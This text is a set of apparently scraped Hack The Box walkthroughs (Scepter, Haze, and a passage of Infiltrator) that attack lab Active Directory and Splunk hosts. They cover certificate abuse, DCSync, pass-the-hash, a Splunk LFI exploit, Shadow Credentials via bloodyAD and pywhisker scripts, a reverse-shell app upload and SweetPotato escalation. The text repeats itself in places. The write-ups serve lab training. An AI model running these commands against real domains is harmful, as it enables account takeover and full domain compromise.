By updating altSecurityIdentities, you link your certificate to p.adams’s account, letting you log in as them without a password. This is a key move in abusing certificate-based authentication in AD.

The command can be used as follows:

bloodyAD -d "scepter.htb" -u "a.carter" -p 'Password' --host "dc01.scepter.htb" set object "d.baker" mail -v "p.adams@scepter.htb"

bloodyAD -d "scepter.htb" -u "a.carter" -p 'Password' --host "dc01.scepter.htb" set object "d.baker" mail -v "p.adams@scepter.htb"

This type of change can be used to manipulate identity mappings, paving the way for attacks like spoofing or malicious certificate requests.

Root Access via Pass-the-Hash

This Certipy command uses Kerberos to request a StaffAccessCertificate for p.adams from dc01.scepter.htb. If granted, it saves the cert as p.adams, letting you authenticate and act as p.adams within the domain.

This Certipy command uses the padams.pfx certificate to authenticate as p.adams to the AD domain at 10.10.11.65, enabling password-free access and resource control via certificate-based login.

This command uses p.adams’s NTLM hash to authenticate to the domain controller dc01.scepter.htb and extract the administrator’s password hashes. It targets only the admin account (RID 500), retrieving the LM hash (usually empty) and the NTLM hash—the latter can be used for pass-the-hash attacks to gain full admin access. This lets an attacker escalate privileges and take control of the domain controller.

After obtaining the Administrator’s NTLM hash via a DCSync attack, use Evil-WinRM to connect to the Windows machine at 10.10.11.65. Specifically, the command evil-winrm -i 10.10.11.65 -u Administrator -H authenticates via Pass-the-Hash, bypassing password requirements. If successful, it establishes a remote PowerShell session with full admin rights. Consequently, this access allows command execution, such as type root.txt, to retrieve the root flag. Thus, Evil-WinRM is critical for achieving domain control in the Scepter machine.

We retrieved the root flag by executing the type root.txt command.

The post Hack The Box: Scepter Machine Walkthrough – Hard Difficulty appeared first on Threatninja.net.

Introduction to Haze

In this write-up, we’ll go step-by-step through the Haze machine from Hack The Box, rated medium difficulty. The box involves exploring a Windows Active Directory (AD) environment with Splunk services. The path includes abusing a Splunk vulnerability, moving through Active Directory, and escalating privileges to grab both the user and root flags.

Objective

The goal is to complete Haze by achieving the following:

User Flag:

Using the decrypted paul.taylor password (Ld@p_Auth_Sp1unk@2k24) from splunksecrets, I gained WinRM access as mark.adams. After enumerating AD with netexec and retrieving the Haze-IT-Backup gMSA NTLM hash, I used PyWhisker and Certipy for a Shadow Credentials attack on edward.martin. This provided edward.martin’s NT hash, enabling WinRM access to read the user flag with type user.txt. Troubleshooting BloodyAD authentication issues was key to progressing through AD exploitation.

Root Flag:

With Splunk admin credentials from a decrypted backup hash, I uploaded a malicious .tar.gz app containing a reverse shell to Splunk’s web interface (port 8000). The shell, caught via nc -lvnp 4444, had SeImpersonatePrivilege. Using SweetPotato, I escalated to NT SYSTEM and read the root flag with type root.txt. Fixing tar file upload errors ensured successful shell delivery.

Enumerating the Haze Machine

Reconnaissance

We begin with a basic Nmap scan to identify services on the machine:

nmap -sC -sV 10.10.11.61 -oA initial 

nmap -sC -sV 10.10.11.61 -oA initial 

Nmap Output Highlights:

┌─[dark@parrot]─[~/Documents/htb/haze]
└──╼ $nmap -sC -sV 10.10.11.61 -oA initial 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-21 03:39 EDT
Nmap scan report for haze.htb (10.10.11.61)
Host is up (0.037s latency).
Not shown: 986 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-21 12:16:18Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.haze.htb
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time

┌─[dark@parrot]─[~/Documents/htb/haze]
└──╼ $nmap -sC -sV 10.10.11.61 -oA initial 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-21 03:39 EDT
Nmap scan report for haze.htb (10.10.11.61)
Host is up (0.037s latency).
Not shown: 986 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-21 12:16:18Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.haze.htb
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time

3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
8000/tcp open  http          Splunkd httpd
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Splunkd
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://haze.htb:8000/en-US/account/login?return_to=%2Fen-US%2F
8088/tcp open  ssl/http      Splunkd httpd
|_http-title: 404 Not Found
8089/tcp open  ssl/http      Splunkd httpd
|_http-title: splunkd
| http-robots.txt: 1 disallowed entry 
|_/
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after:  2028-03-04T07:29:08
|_http-server-header: Splunkd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.13 seconds

3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
8000/tcp open  http          Splunkd httpd
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Splunkd
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://haze.htb:8000/en-US/account/login?return_to=%2Fen-US%2F
8088/tcp open  ssl/http      Splunkd httpd
|_http-title: 404 Not Found
8089/tcp open  ssl/http      Splunkd httpd
|_http-title: splunkd
| http-robots.txt: 1 disallowed entry 
|_/
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after:  2028-03-04T07:29:08
|_http-server-header: Splunkd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.13 seconds

Analysis:

• 53/tcp – DNS (Simple DNS Plus) for internal name resolution.
• 88/tcp – Kerberos authentication (typical for AD environments).
• 135/tcp – MS RPC endpoint mapper (useful for enumeration).
• 139/tcp – NetBIOS session service (Windows file/printer sharing).
• 389/tcp – LDAP (Active Directory query in plaintext).
• 445/tcp – SMB service (file sharing, potential attack vector).
• 464/tcp – Kerberos password change service (kpasswd).
• 593/tcp – RPC over HTTP (potential for Active Directory related enumeration).
• 636/tcp – LDAPS (LDAP over SSL/TLS).
• 3268/tcp – Global Catalogue LDAP (multi-domain AD query).
• 3269/tcp – Global Catalogue LDAPS (LDAP over SSL/TLS).
• 8000/tcp – Splunk Web Interface (Splunkd httpd), web login portal exposed.
• 8088/tcp – Splunk HTTP Event Collector (SSL).
• 8089/tcp – Splunk management port (SSL), often used for Splunk API and administration.

Web Enumeration

Navigated to http://haze.htb:8000, which presented a Splunk Enterprise login page, indicating a web-based attack surface.

Visited http://haze.htb:8088, which returned a 404 error, suggesting no exploitable content.

Accessed http://haze.htb:8089, revealing a Splunk Atom feed that leaked the version (9.2.1), critical for identifying vulnerabilities.

Searched for Splunk 9.2.1 exploits, finding CVE-2024-36991, a local file inclusion (LFI) vulnerability allowing unauthorised file access:

• Splunk RCE PoC
• SonicWall Blog
• CVE-2024-36991 PoC

The Splunk 9.2.1 authentication.conf documentation explains how Splunk manages user authentication. It defines how credentials are stored, including LDAP bindings, and supports integrating with external authentication systems. Misconfigurations here can expose sensitive data—like encrypted passwords and bindDNs—making it a critical target for exploitation during assessments

Understanding CVE-2024-36991: A Simple Explanation

Think of your computer or phone as a house with many doors and windows. Each one is a way to interact with the device. Now, imagine one of the locks isn’t working properly—it looks secure, but a clever intruder could still get in.

CVE-2024-36991 is like that broken lock, but in software. It’s a hidden flaw that, if found by the wrong person, could let them sneak into the system without permission. They might steal data, cause damage, or disrupt how things work.

The good news is that once these flaws are discovered, the developers usually fix them quickly, like calling a locksmith to repair a faulty lock. That’s why it’s so important to keep your apps and devices updated. Updates are your best defence against these types of security issues.

Leveraging CVE-2024-36991 for Exploitation

Downloaded the CVE-2024-36991 PoC to test the LFI vulnerability

I downloaded the publicly available proof-of-concept (PoC) and tested it using curl to retrieve sensitive configuration files, such as authentication.conf

The exploit was successful and allowed access to /etc/passwd, dumping several user password hashes

bindDN = CN=Paul Taylor,CN=Users,DC=haze,DC=htb
bindDNpassword = $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=

bindDN = CN=Paul Taylor,CN=Users,DC=haze,DC=htb
bindDNpassword = $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=

Although hashcat didn’t crack the hashes within a 5-minute test, the PoC also revealed an encrypted bindDNpassword used in Splunk’s LDAP integration:

Knowing that Splunk stores a symmetric key in splunk.secret, I used the same LFI to retrieve that key. With both the encrypted password and the key, I used the splunksecrets tool to attempt decryption.

Unlocking Splunk Credentials via splunksecrets

Installed Splunksecrets to decrypt the hash

Fixing Cryptography Module Reference in SplunkSecrets

Diagnosis:

• Using Python 3.12, as per the traceback.
• The cryptography.hazmat.decrepit module was deprecated in newer cryptography versions.
• Ran pip show cryptography—found a version >36.0.0, where decrepit was removed.
• Tested import: python3 -c “from cryptography.hazmat.decrepit.ciphers.algorithms import ARC4” confirmed the error.

Downgraded cryptography to a compatible version

I’m currently facing a fairly common issue—it’s related to how a Python package references the cryptography library. In this case, the splunksecrets package is trying to import a module from cryptography.hazmat.decrepit, which doesn’t exist. The correct path should be cryptography.hazmat.primitives.

To fix this, I’ll need to manually edit the file located at:

/home/dark/.local/lib/python3.12/site-packages/splunksecrets/splunk.py

/home/dark/.local/lib/python3.12/site-packages/splunksecrets/splunk.py

On line 6, the import statement needs to be corrected.

Current line:

from cryptography.hazmat.decrepit.ciphers.algorithms import ARC4

from cryptography.hazmat.decrepit.ciphers.algorithms import ARC4

Updated line:

from cryptography.hazmat.primitives.ciphers.algorithms import ARC4

from cryptography.hazmat.primitives.ciphers.algorithms import ARC4

Once that’s updated, it should resolve the issue.

The splunksecrets tool offers various commands to encrypt and decrypt passwords related to Splunk and its components. It supports decrypting and encrypting credentials used for database connections (dbconnect), as well as passwords associated with Phantom assets. The tool also provides functionality to handle passwords encrypted with both current and legacy Splunk algorithms. Additionally, it can generate password hashes compatible with Splunk’s authentication system. This versatility makes splunksecrets a useful utility for recovering sensitive information during security assessments involving Splunk environments.

I decrypted the encrypted LDAP password by running the splunksecrets tool with the Splunk secret file and the captured ciphertext. This process successfully revealed the plaintext password for the user paul.taylor as Ld@p_Auth_Sp1unk@2k24, which can be used for LDAP authentication or further privilege escalation.

Enumerate using the netexec command

Tested credentials on SMB and LDAP

Attempted WinRM access with paul.taylor, but it failed

Enumerated AD users to find other accounts

Manually extracting the username is tedious, so the screenshot above shows a quicker way I used to identify it.

Discovered mark.adams and tested the same password, gaining WinRM access

Successfully connected to the machine via evil-winrm.

Enumerating AD for Privilege Escalation

The easiest way to understand mark.adams’s connections are by using BloodHound

The user mark.adams is a member of the gMSA Administrators group, granting access to retrieve and decrypt managed service account passwords from Active Directory. This privilege enables direct access to sensitive credentials (msDS-ManagedPassword), allowing privilege escalation or impersonation. It also opens paths for advanced attacks like NTLM relay or the Golden gMSA attack, which can provide persistent, stealthy access across the domain.

The details above display the properties of mark.adam.

I used a tool to connect to the target computer using the username “mark.adams” and the password I found. This confirmed that the credentials were correct and allowed me to access the system, which is running a recent version of Windows Server. The connection used standard network services to communicate securely with the target.

Bloodhound enumeration

The command executes BloodHound-python to collect Active Directory data using the machine account Haze-IT-Backup$. Instead of using a password, it authenticates with an NTLM hash (735c02c6b2dc54c3c8c6891f55279ebc)—a common technique during post-exploitation. The domain is specified as haze.htb, and the domain controller being queried is dc01.haze.htb, with the nameserver IP 10.10.11.61. The -c all flag instructs BloodHound to perform a full collection of all supported data types (such as sessions, ACLs, group memberships, etc.), and --zip compresses the output into a ZIP archive for easier ingestion into the BloodHound UI.

The machine account haze-it-backup$@haze.htb is a member of both support_services@haze.htb and Domain Computers@haze.htb groups. Membership in the Domain Computers group is standard for all domain-joined machines and typically grants basic permissions within the domain. However, its inclusion in the support services group may indicate elevated privileges or specific access rights related to IT support operations. This group membership may present an opportunity for privilege escalation, particularly if the support_services group has delegated permissions over high-value domain objects or privileged user accounts.

Attempted to retrieve gMSA NTLM hash, initially blank

I imported the Active Directory module and set the variable $gMSAName to “Haze-IT-Backup” and $principal to “mark.adams”. Then, I configured the managed service account so that the user mark.adams is authorised to retrieve the managed password.

You can also perform the same action using a one-liner command

We obtained the NTLM hash, but keep in mind that each user has a unique NTLM hash, so everyone will get a different one.

As shown by the results, the LDAP permissions now exceed regular permissions, allowing you to easily collect Domain Objects and DACLs, making enumeration straightforward for the user mark.adams.

BloodyAD and Pywhisker enumeration

An attempt to use BloodyAD for further exploitation failed due to invalid credentials, preventing successful authentication.

I had to rack my brain to figure out the issue, but after removing the $ from the Haze-IT-Backup username and running the ntpdate command, everything worked smoothly.

I also executed the BloodyAD commands displayed earlier to assign permissions and add group memberships to the Haze-IT-Backup account.

These commands attempt to escalate privileges by granting the Haze-IT-Backup account full control (genericAll) over the SUPPORT_SERVICES group and adding the service account as a member of that group.

I also ran a series of PyWhisker commands to manage permissions for the user edward.martin using the Haze-IT-Backup$ account:

pywhisker -d haze.htb -u Haze-IT-Backup$ -H unique --target edward.martin --action "list"

pywhisker -d haze.htb -u Haze-IT-Backup$ -H unique --target edward.martin --action "list"

The initial listing showed that the msDS-KeyCredentialLink attribute was empty or inaccessible.

pywhisker -d haze.htb -u Haze-IT-Backup$ -H unique --target edward.martin --action "add"

pywhisker -d haze.htb -u Haze-IT-Backup$ -H unique --target edward.martin --action "add"

This generated a certificate and key, updated the msDS-KeyCredentialLink attribute for edward.martin, and saved a PFX certificate file protected by a password. This certificate can be used to obtain a Ticket Granting Ticket (TGT) with external tools.

pywhisker -d haze.htb -u Haze-IT-Backup$ -H unique --target edward.martin --action "list"

pywhisker -d haze.htb -u Haze-IT-Backup$ -H unique --target edward.martin --action "list"

This showed the new DeviceID and its creation timestamp.

#!/bin/bash

# Variables - replace with actual values
IP="10.10.11.61"
DOMAIN="haze.htb"
USER="Haze-IT-Backup$"
PASSWORD=":YOUR_PASSWORD_HERE"
TARGET_USER="edward.martin"
HASH=""  # Set this at runtime or before running commands

# Change owner of SUPPORT_SERVICES group
bloodyAD --host "$IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" -f rc4 set owner 'SUPPORT_SERVICES' "$USER"

# Grant GenericAll permission to SUPPORT_SERVICES group
bloodyAD --host "$IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" -f rc4 add genericAll "SUPPORT_SERVICES" "$USER"

# Add user as member of SUPPORT_SERVICES group
bloodyAD --host "$IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" -f rc4 add groupMember 'SUPPORT_SERVICES' "$USER"

# Prompt user to enter the hash at runtime if empty
if [ -z "$HASH" ]; then
  read -p "Enter the NTLM hash: " HASH
fi

# List KeyCredentialLink attribute for target user
pywhisker -d "$DOMAIN" -u "$USER" -H "$HASH" --target "$TARGET_USER" --action "list"

# Add KeyCredential to target user
pywhisker -d "$DOMAIN" -u "$USER" -H "$HASH" --target "$TARGET_USER" --action "add"

# Confirm KeyCredentialLink attribute update
pywhisker -d "$DOMAIN" -u "$USER" -H "$HASH" --target "$TARGET_USER" --action "list"

#!/bin/bash

# Variables - replace with actual values
IP="10.10.11.61"
DOMAIN="haze.htb"
USER="Haze-IT-Backup$"
PASSWORD=":YOUR_PASSWORD_HERE"
TARGET_USER="edward.martin"
HASH=""  # Set this at runtime or before running commands

# Change owner of SUPPORT_SERVICES group
bloodyAD --host "$IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" -f rc4 set owner 'SUPPORT_SERVICES' "$USER"

# Grant GenericAll permission to SUPPORT_SERVICES group
bloodyAD --host "$IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" -f rc4 add genericAll "SUPPORT_SERVICES" "$USER"

# Add user as member of SUPPORT_SERVICES group
bloodyAD --host "$IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" -f rc4 add groupMember 'SUPPORT_SERVICES' "$USER"

# Prompt user to enter the hash at runtime if empty
if [ -z "$HASH" ]; then
  read -p "Enter the NTLM hash: " HASH
fi

# List KeyCredentialLink attribute for target user
pywhisker -d "$DOMAIN" -u "$USER" -H "$HASH" --target "$TARGET_USER" --action "list"

# Add KeyCredential to target user
pywhisker -d "$DOMAIN" -u "$USER" -H "$HASH" --target "$TARGET_USER" --action "add"

# Confirm KeyCredentialLink attribute update
pywhisker -d "$DOMAIN" -u "$USER" -H "$HASH" --target "$TARGET_USER" --action "list"

I utilised an existing script to automate the execution of all the necessary commands, streamlining the process and ensuring accuracy during exploitation.

I used impacket-getTGT to request a Kerberos Ticket Granting Ticket (TGT) for the Haze-IT-Backup$ account on the haze.htb domain, authenticating with the NTLM hash instead of a plaintext password. After successfully obtaining the ticket, I set the KRB5CCNAME environment variable to point to the ticket cache file, allowing subsequent Kerberos-authenticated actions to use this ticket.

Gaining Access as edward.martin

The image reveals that Haze-IT-Backup$ can modify the Owner attribute of the SUPPORT_SERVICES object. Notably, SUPPORT_SERVICES holds the privilege to issue certificates on behalf of the EDWARD account. This chain of permissions enables a classic Shadow Credentials attack. To exploit this path, the first step is to leverage the DACL misconfiguration on SUPPORT_SERVICES to gain control over the object and escalate privileges accordingly.

I used Certipy to perform an automated Shadow Credentials attack targeting the user edward.martin. By authenticating Haze-IT-Backup$ with the NTLM hash, Certipy generated and added a temporary Key Credential (certificate) to edward.martin’s account. This allowed the tool to authenticate edward.martin using the certificate and obtain a Ticket Granting Ticket (TGT). After successfully retrieving the TGT and saving it to a credential cache file, Certipy reverted the Key Credential changes to avoid detection. Finally, the tool extracted the NT hash for edward.martin, which can be used for further attacks or lateral movement.

I used evil-winrm to connect to the target machine as edward.martin, authenticating with the NT hash I had previously extracted. This granted me an interactive WinRM session with the privileges of edward.martin, allowing direct access to the system for further enumeration or exploitation.

We can read the user flag by simply running the command type user.txt inside the WinRM session.

Escalate the Root Privileges Access

Privileges Access

While exploring the system, I navigated to C:\Backups\Splunk and found a backup file named splunk_backup_2024-08-06.zip. I downloaded the file for offline analysis using the download command in Evil-WinRM.

Analyse the Splunk_backup file

After downloading splunk_backup_2024-08-06.zip, I extracted its contents locally to analyse the files inside.

It appeared to be a standard Splunk directory structure.

It turned out that Splunk had created a copy of the active configuration file, which contained the hash above

An error occurred while attempting to use splunksecrets.

By running splunksecrets splunk-decrypt -S etc/auth/splunk.secret, I was able to decrypt the ciphertext

There was no user account associated with this password, resulting in a STATUS_LOGON_FAILURE During login attempts.

Uploading a malicious zip file to get a shell

I tested this password by logging into the previously discovered website.

The login attempt was successful, confirming the password’s validity.

This means accessing and reviewing the part of the system where applications or services are controlled and configured. It involves looking at how apps are set up, what permissions they have, and possibly making changes to their settings.

Before proceeding, I conducted research to understand how to leverage the admin access effectively.

I then proceeded to use a reverse shell tool from this repository to gain remote shell access on the Splunk system.

I downloaded the reverse shell tool repository directly onto the target machine to prepare for the next steps.

The content matches the example shown above.

I added the reverse shell command to the appropriate script file.

The attempt to create (zip) the archive file failed.

I started a listener on my machine to catch the incoming reverse shell connection.

An attempt to upload the tar file through the app’s interface resulted in an error stating that the application does not exist.

I modified the reverse shell command to address the issues encountered.

This time, the zip file was created successfully without any issues.

The file was successfully uploaded to the application.

I successfully received the reverse shell connection from the target.

Exploiting SeImpersonatePrivilege with SweetPotato

The current user has the SeImpersonatePrivilege permission enabled, as shown above. This privilege is commonly exploited using tools like Juicy Potato to escalate to NT SYSTEM.

Privilege Escalation to Alexander Green

The user alexander.green@haze.htb is a member of multiple Active Directory groups, including splunk_admins@haze.htb, Domain Users@haze.htb, and users@haze.htb. The splunk_admins group likely grants administrative privileges over the Splunk environment, which could provide access to sensitive logs, configurations, or even execution capabilities within Splunk. Additionally, being part of the Domain Users group confirms that the account is a standard domain-joined user. The users group, which includes Domain Users as members, may be used to manage or apply policies to a broader set of accounts. This nested group membership structure could potentially be leveraged to escalate privileges or pivot further within the domain, depending on the permissions assigned to each group.

I downloaded the SweetPotato binary to the target machine to leverage the SeImpersonatePrivilege for privilege escalation.

I tested SweetPotato by running it with the whoami command, confirming that privilege escalation to NT SYSTEM was successful.

Using this privilege escalation method, I gained NT SYSTEM access and was able to read the root flag.

The post Hack The Box: Haze Machine Walkthrough – Hard Difficulty appeared first on Threatninja.net.

Introduction to Infiltrator:

In this write-up, we will explore the “Infiltrator” machine from Hack The Box, categorised as an Insane difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective on Infiltrator machine:

The goal of this walkthrough is to complete the “Infiltrator” machine from Hack The Box by achieving the following objectives:

User Flag:

We start by finding user accounts that don’t have strong protections, like l.clark. Then, we use tools to grab their password hash, which is like a scrambled password. After cracking it, we get the actual password and use it to remotely access their desktop, where we find the first flag. If normal remote login doesn’t work, we try other methods like accessing shared folders to get in.

Root Flag:

Next, we exploit a weakness in the company’s certificate system. This flaw lets us request a special digital certificate that gives us admin-level access. Using this certificate, we log in as the administrator and grab the second flag from their desktop. This works because attackers can exploit the certificate system’s vulnerable configuration.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oN nmap_initial.txt 10.10.11.31

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/infiltrator]
└──╼ $nmap -sC -sV -oA initial -Pn 10.10.11.31 
Nmap scan report for 10.10.11.31
Host is up (0.16s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: Potentially risky: TRACE
|_http-title: Infiltrator.htb
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-03-19 12:21:13Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP
| ssl-cert: SAN=dc01.infiltrator.htb, infiltrator.htb, INFILTRATOR
| Not valid before: 2024-08-04; Not valid after: 2099-07-17
445/tcp  open  microsoft-ds?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows AD LDAP
3268/tcp open  ldap          Microsoft Windows AD LDAP
3269/tcp open  ssl/ldap      Microsoft Windows AD LDAP
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: Domain=INFILTRATOR, Host=DC01, OS=10.0.17763
| ssl-cert: commonName=dc01.infiltrator.htb (valid until 2025-09-17)
Service Info: Host: DC01; OS: Windows

Analysis:

• 53/tcp – DNS (Simple DNS Plus) for internal name resolution.
• 80/tcp – IIS 10.0 web server hosting Infiltrator.htb, TRACE enabled (may aid web testing).
• 88/tcp – Kerberos authentication (typical for AD environments).
• 135/tcp – MS RPC endpoint mapper (useful for enumeration).
• 139/tcp – NetBIOS session service (Windows file/printer sharing).
• 389/tcp – LDAP (Active Directory query in plaintext).
• 445/tcp – SMB service (file sharing, potential attack vector).
• 636/tcp – LDAPS (encrypted LDAP queries).
• 3268/tcp – Global Catalog LDAP (AD forest-wide search).
• 3269/tcp – Secure Global Catalog (LDAPS).
• 3389/tcp – RDP on DC01 (remote GUI access).

Web Enumeration on Infiltrator machine:

Web Application Exploration:

The website appears quite basic and unremarkable.

I noticed a few names listed on the “Young & Talented Members” page.

The potential username likely follows the format shown in the screenshot above.

A more efficient approach is to combine the username with the domain and utilise Kerbrute for enumeration.

Enumerating using impacket on infiltrator machine

The user l.clark was chosen because it does not require pre-authentication, which means the domain controller allows a request for a Kerberos ticket without verifying the user’s password first. This makes it possible to use the command below to request a ticket without supplying a password (--no-pass) aiding in offline password cracking or further enumeration:

impacket-GetNPUsers infiltrator.htb/l.clark --no-pass -dc-ip dc01.infiltrator.htb -outputfile user.out

The hash appears as shown in the screenshot.

I used a tool called Hashcat, which takes about a minute to try many possible passwords against the scrambled one until it finds the right match. That’s how I uncovered the password: WAT?watismypass!.

I was hoping it would work, but sadly, it didn’t authenticate with evil-winrm.

Finding an Access Path

The shares ‘admin’, ‘c$’, ‘netlogon’, and ‘sysvol’ are present but have no write permissions when accessed via impacket-psexec.

Access denied error (rpc_s_access_denied) encountered when using atexec.

Encountered WMI session error with code 0x80041003 (WBEM_E_ACCESS_DENIED) while executing wmiexec.

SMB enumeration didn’t give any useful info. Plus, even after checking thoroughly, I couldn’t find anything valuable.

All attempts failed, returning a status_logon_failure error.

Therefore, let’s highlight only l.clark the user associated with the previously identified password. Unexpectedly, the authentication was successful.

Attempted to gather information using BloodHound-python but failed due to a KRB_AP_ERR_SKEW error.

Let’s synchronise the system date and time using the ntpdate command.

In the end, I successfully completed the operation, which was quite unexpected.

BloodHound Enumeration

Summary of the BloodHound output collected directly from the machine.

It looks like user accounts like d.anderson and e.rodriguez are linked to generic or shared digital access, suggesting weak or unclear ownership that could be exploited.

Since NTLM login is disabled, you can interact directly with Kerberos to get a ticket-granting ticket (TGT):

impacket-getTGT infiltrator.htb/d.anderson:'WAT?watismypass!' -dc-ip dc01.INFILTRATOR.HTB
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Saving ticket in d.anderson.ccache

This command obtains and saves the Kerberos ticket.

DACL Abuse inside the Infiltrator machine

User d.anderson has GenericAll permissions on the MARKETING DIGITAL OU, which allows for DACL abuse.

You can use the dacledit.py script from Impacket to modify permissions:

dacledit.py -action write -rights FullControl -inheritance -principal d.anderson -target-dn "OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB" infiltrator.htb/d.anderson -k -no-pass -dc-ip 10.10.11.31

This command grants full control permissions on the target OU.

Shadow Credentials for Infiltrator machine

Since D. Anderson has Full Control over the MARKETING DIGITAL group and E. RODRIGUEZ is part of that group, you can add shadow credentials to escalate privileges.

Using BloodyAD, an Active Directory privilege escalation tool, run the following command:

bloodyAD --host dc01.infiltrator.htb --dc-ip 10.10.11.31 -d infiltrator.htb -u d.anderson -k add shadowCredentials E.RODRIGUEZ

Keep in mind that the password you set for the shadow credential needs to follow the domain’s password rules, usually requiring uppercase and lowercase letters, numbers, and special characters.

We successfully changed the password, as shown in the screenshot above.

Kerberos Ticket Authentication on

The user e.rodriguez has permission to add themselves to the Chief’s Marketing group and can also change the password of m.harris. This means e.rodriguez holds unusually high privileges that could be abused to gain more access or control over sensitive

